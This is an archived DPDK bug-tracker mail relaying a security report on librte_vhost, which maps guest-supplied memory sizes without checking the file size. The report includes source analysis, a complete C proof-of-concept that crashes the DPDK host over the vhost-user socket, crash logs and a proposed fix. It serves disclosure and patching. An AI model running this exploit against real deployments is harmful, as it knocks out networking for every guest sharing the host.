* [DPDK/vhost/virtio Bug 2002] vhost memory size validation before mmap
@ 2026-08-28 12:52 bugzilla
0 siblings, 0 replies; only message in thread
From: bugzilla @ 2026-08-28 12:52 UTC (permalink / raw)
To: dev
https://bugs.dpdk.org/show_bug.cgi?id=2002
Bug ID: 2002
Summary: vhost memory size validation before mmap
Product: DPDK
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: Normal
Component: vhost/virtio
Assignee: dev@dpdk.org
Reporter: thomas@monjalon.net
Target Milestone: ---
Group: security
Report date: 2026-04-09
Reported by: Don Salvatore Nero <hemo40047@gmail.com>
Dear DPDK Security Team
Security Vulnerability Report
DPDK librte_vhost — Memory Size Validation Missing Before mmap()
Executive Summary
A Denial-of-Service vulnerability was discovered in DPDK version 25.11.0
(stable) in the librte_vhost library. The function vhost_user_mmap_region() in
lib/vhost/vhost_user.c calls mmap() with a size value supplied directly by an
untrusted guest without validating it against the actual file size (st_size).
This allows a malicious guest to cause a segmentation fault (SIGBUS/segfault)
that crashes the entire DPDK host process.
Basic Information
Element Details
Discovered by: Don Salvatori Nero
Affected Version DPDK 25.11.0 (stable)
Affected File lib/vhost/vhost_user.c
Affected Functions vhost_user_mmap_region(), vhost_user_set_mem_table()
Vulnerability Class CWE-20 — Improper Input Validation
Impact Denial of Service — full crash of the DPDK host process
Attack Vector Malicious guest via vhost-user Unix socket
Discovery Methodology
The vulnerability was identified through a comprehensive source code audit of
the DPDK vhost-user implementation. The analysis traced the end-to-end data
flow from untrusted guest input to the critical mmap() system call,
systematically examining each validation point along the path. The
investigation involved reviewing message routing mechanisms, memory region
parsing logic, and the absence of file size verification prior to memory
mapping operations.
1. Entry Point — Message Routing
The first step was identifying how guest messages are routed in
lib/vhost/vhost_user.c:
// lib/vhost/vhost_user.c:73
VHOST_MESSAGE_HANDLER(VHOST_USER_SET_MEM_TABLE, vhost_user_set_mem_table, true,
true)
This line confirms that any guest connection can send VHOST_USER_SET_MEM_TABLE
and it will be routed directly to vhost_user_set_mem_table().
2. First Function — vhost_user_set_mem_table()
Location: lib/vhost/vhost_user.c:1386
The function reads guest-supplied memory region data and copies it without
validating memory_size:
// lib/vhost/vhost_user.c:1465-1488
for (i = 0; i < memory->nregions; i++) {
reg = &dev->mem->regions[i];
reg->guest_phys_addr = memory->regions[i].guest_phys_addr;
reg->guest_user_addr = memory->regions[i].userspace_addr;
reg->size = memory->regions[i].memory_size; // ← guest value, no check
reg->fd = ctx->fds[i];
ctx->fds[i] = -1;
mmap_offset = memory->regions[i].mmap_offset;
if (vhost_user_mmap_region(dev, reg, mmap_offset) < 0) {
goto free_mem_table;
}
}
What was validated: only nregions count:
// lib/vhost/vhost_user.c:1399
if (memory->nregions > VHOST_MEMORY_MAX_NREGIONS) {
goto close_msg_fds;
}
What was NOT validated: memory_size against the actual file size of
ctx->fds[i].
3. Second Function — vhost_user_mmap_region()
Location: lib/vhost/vhost_user.c:1289
Full function analysis:
vhost_user_mmap_region(struct virtio_net *dev, struct rte_vhost_mem_region
*region,
uint64_t mmap_offset)
{
void *mmap_addr;
uint64_t mmap_size;
uint64_t alignment;
int populate;
// CHECK 1: integer overflow — CORRECT
if (mmap_offset >= -region->size) {
return -1;
}
// mmap_size comes entirely from guest
mmap_size = region->size + mmap_offset;
// get_blk_size reads st_blksize — NOT st_size
alignment = get_blk_size(region->fd);
if (alignment == (uint64_t)-1) {
return -1;
}
// align size upward
mmap_size = RTE_ALIGN_CEIL(mmap_size, alignment);
// CHECK 2: zero overflow — CORRECT
if (mmap_size == 0) {
return -1;
}
// ← NO CHECK HERE: mmap_size vs actual file st_size
populate = dev->async_copy ? MAP_POPULATE : 0;
// mmap called with guest-controlled size
mmap_addr = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE,
MAP_SHARED | populate, region->fd, 0);
// only MAP_FAILED is checked — succeeds with oversized mapping
if (mmap_addr == MAP_FAILED) {
return -1;
}
region->mmap_addr = mmap_addr;
region->mmap_size = mmap_size;
region->host_user_addr = (uint64_t)(uintptr_t)mmap_addr + mmap_offset;
return 0;
}
4. Third Function — get_blk_size()
Location: lib/vhost/vhost_user.c:165
get_blk_size(int fd)
{
struct stat stat;
int ret;
ret = fstat(fd, &stat);
return ret == -1 ? (uint64_t)-1 : (uint64_t)stat.st_blksize;
}
Critical finding: fstat() is called but only st_blksize (preferred I/O block
size) is returned. st_size (actual file size) is never read anywhere in
lib/vhost/vhost_user.c:
grep -rn "st_size" lib/vhost/vhost_user.c
# → no output
5. Confirmation — No Fix in Git History
git log --oneline -- lib/vhost/vhost_user.c | \
grep -i "mmap\|fix\|CVE\|size\|overflow" | head -10
Output:
bdd96d8ac7 vhost: fix offset while mapping log base address
47358f8f50 vhost: fix virtqueue access lock check for handlers
3bb7df6a95 vhost: fix vring addr update with vDPA
...
No commit in the entire history addresses missing st_size validation before
mmap().
6. Root Cause Summary
Data flow from guest to crash:
Guest sends VHOST_USER_SET_MEM_TABLE
↓
vhost_user_set_mem_table()
reg->size = memory->regions[i].memory_size ← guest value, no size check
reg->fd = ctx->fds[i] ← guest fd
↓
vhost_user_mmap_region()
mmap_size = region->size + mmap_offset ← still guest value
get_blk_size(fd) → st_blksize only ← NOT st_size
mmap(NULL, mmap_size, ..., fd, 0) ← oversized mapping succeeds
↓
Later access to address beyond real file size
↓
Linux kernel sends SIGBUS → segfault → DPDK process crashes
7. Proof of Concept
Environment Setup
· DPDK version: 25.11.0 stable
· OS: Ubuntu 22.04.5 LTS (Linux 5.15.0-122-generic x86_64)
Step 1 — Build and run DPDK testpmd
sudo ./build/app/dpdk-testpmd \
-l 0-1 --in-memory --no-pci \
--vdev 'net_vhost0,iface=/tmp/vhost-net,client=0' -- -i
Output confirmed DPDK running and listening:
VHOST_CONFIG: (/tmp/vhost-net) vhost-user server: socket created, fd: 201
VHOST_CONFIG: (/tmp/vhost-net) binding succeeded
Step 2 — Exploit code
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define VHOST_USER_HDR_SIZE 12
#define VHOST_USER_MEMORY_MAX_NREGIONS 8
typedef enum VhostUserRequest {
VHOST_USER_NONE = 0,
VHOST_USER_GET_FEATURES = 1,
VHOST_USER_SET_FEATURES = 2,
VHOST_USER_SET_OWNER = 3,
VHOST_USER_SET_MEM_TABLE = 5,
} VhostUserRequest;
struct VhostUserMemoryRegion {
uint64_t guest_phys_addr;
uint64_t memory_size;
uint64_t userspace_addr;
uint64_t mmap_offset;
};
struct VhostUserMemory {
uint32_t nregions;
uint32_t padding;
struct VhostUserMemoryRegion regions[VHOST_USER_MEMORY_MAX_NREGIONS];
};
struct VhostUserMsg {
uint32_t request;
uint32_t flags;
uint32_t size;
union {
uint64_t u64;
struct VhostUserMemory memory;
} payload;
} __attribute__((packed));
static int send_vhost_message(int sockfd, struct VhostUserMsg *msg, int fd) {
struct msghdr msgh;
struct iovec iov;
char control[CMSG_SPACE(sizeof(int))];
memset(&msgh, 0, sizeof(msgh));
iov.iov_base = msg;
iov.iov_len = VHOST_USER_HDR_SIZE + msg->size;
msgh.msg_iov = &iov;
msgh.msg_iovlen = 1;
if (fd != -1) {
msgh.msg_control = control;
msgh.msg_controllen = sizeof(control);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msgh);
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
memcpy(CMSG_DATA(cmsg), &fd, sizeof(int));
}
if (sendmsg(sockfd, &msgh, 0) < 0) {
perror("Failed to send vhost message");
return -1;
}
return 0;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s \n", argv[0]);
return -1;
}
int sockfd;
struct sockaddr_un addr;
char *socket_path = argv[1];
// Create small trap file — real size 1MB
const char *shm_path = "/tmp/fake_mem";
int mem_fd = open(shm_path, O_RDWR | O_CREAT | O_TRUNC, 0666);
ftruncate(mem_fd, 1024 * 1024);
if ((sockfd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
perror("Socket error");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
printf("[*] Connecting to DPDK vhost socket: %s\n", socket_path);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
perror("Connect error");
return -1;
}
struct VhostUserMsg msg;
// Step 1: SET_OWNER
memset(&msg, 0, sizeof(msg));
msg.request = VHOST_USER_SET_OWNER;
msg.size = 0;
send_vhost_message(sockfd, &msg, -1);
printf("[+] Sent VHOST_USER_SET_OWNER\n");
// Step 2: Malicious SET_MEM_TABLE
memset(&msg, 0, sizeof(msg));
msg.request = VHOST_USER_SET_MEM_TABLE;
msg.flags = 0x1;
msg.payload.memory.nregions = 1;
msg.payload.memory.regions[0].guest_phys_addr = 0x0;
// Claim 10GB — real file is 1MB
msg.payload.memory.regions[0].memory_size = 10ULL * 1024 * 1024 * 1024;
msg.payload.memory.regions[0].userspace_addr = 0x4000000000ULL;
msg.payload.memory.regions[0].mmap_offset = 0;
msg.size = sizeof(struct VhostUserMemory);
printf("[!] Sending malicious SET_MEM_TABLE (claimed: 10GB, actual:
1MB)\n");
send_vhost_message(sockfd, &msg, mem_fd);
printf("[+] Exploit sent. Waiting...\n");
sleep(2);
char buf[1];
if (read(sockfd, buf, 1) == 0)
printf("[SUCCESS] DPDK crashed!\n");
else
printf("[FAILURE] DPDK still running.\n");
close(sockfd);
close(mem_fd);
unlink(shm_path);
return 0;
}
Step 3 — Compile and run
gcc vhost_exploit.c -o vhost_exploit
sudo ./vhost_exploit /tmp/vhost-net
Step 4 — DPDK log confirms oversized mapping accepted
VHOST_CONFIG: (/tmp/vhost-net) read message VHOST_USER_SET_MEM_TABLE
VHOST_CONFIG: (/tmp/vhost-net) guest memory region size: 0x280000000
VHOST_CONFIG: (/tmp/vhost-net) mmap addr : 0x7ffd68000000
VHOST_CONFIG: (/tmp/vhost-net) mmap size : 0x280000000
VHOST_CONFIG: (/tmp/vhost-net) mmap align: 0x1000
VHOST_CONFIG: (/tmp/vhost-net) mmap off : 0x0
mmap_size = 0x280000000 = 10GB — accepted without error.
Step 5 — Crash confirmed
dmesg | grep -i "testpmd" | tail -n 5
[1836590.377750] dpdk-vhost-evt[1307789]: segfault at 10187cad8 ip
0000555555a44be1 sp 00007fffeeff7470 error 4 in
dpdk-testpmd[555555714000+2595000]
error 4 = page not present = access beyond real file boundary.
8. Impact
Any process that can connect to the vhost-user Unix socket — including any
guest VM or container with access to it — can crash the entire DPDK host
process with a single message. All other guests sharing the same DPDK instance
lose network connectivity instantly.
9. Recommended Fix
In vhost_user_mmap_region(), after calling fstat(), add a check comparing
mmap_size against st_size:
struct stat file_stat;
if (fstat(region->fd, &file_stat) == -1) {
return -1;
}
if (mmap_size > (uint64_t)file_stat.st_size) {
VHOST_CONFIG_LOG(dev->ifname, ERR,
"mmap size (0x%" PRIx64 ") exceeds file size (0x%" PRIx64
")",
mmap_size, (uint64_t)file_stat.st_size);
return -1;
}
--
You are receiving this mail because:
You are the assignee for the bug.
^ permalink raw reply [flat|nested] only message in thread
only message in thread, other threads:[~2026-08-28 12:52 UTC | newest]
Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-28 12:52 [DPDK/vhost/virtio Bug 2002] vhost memory size validation before mmap bugzilla
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.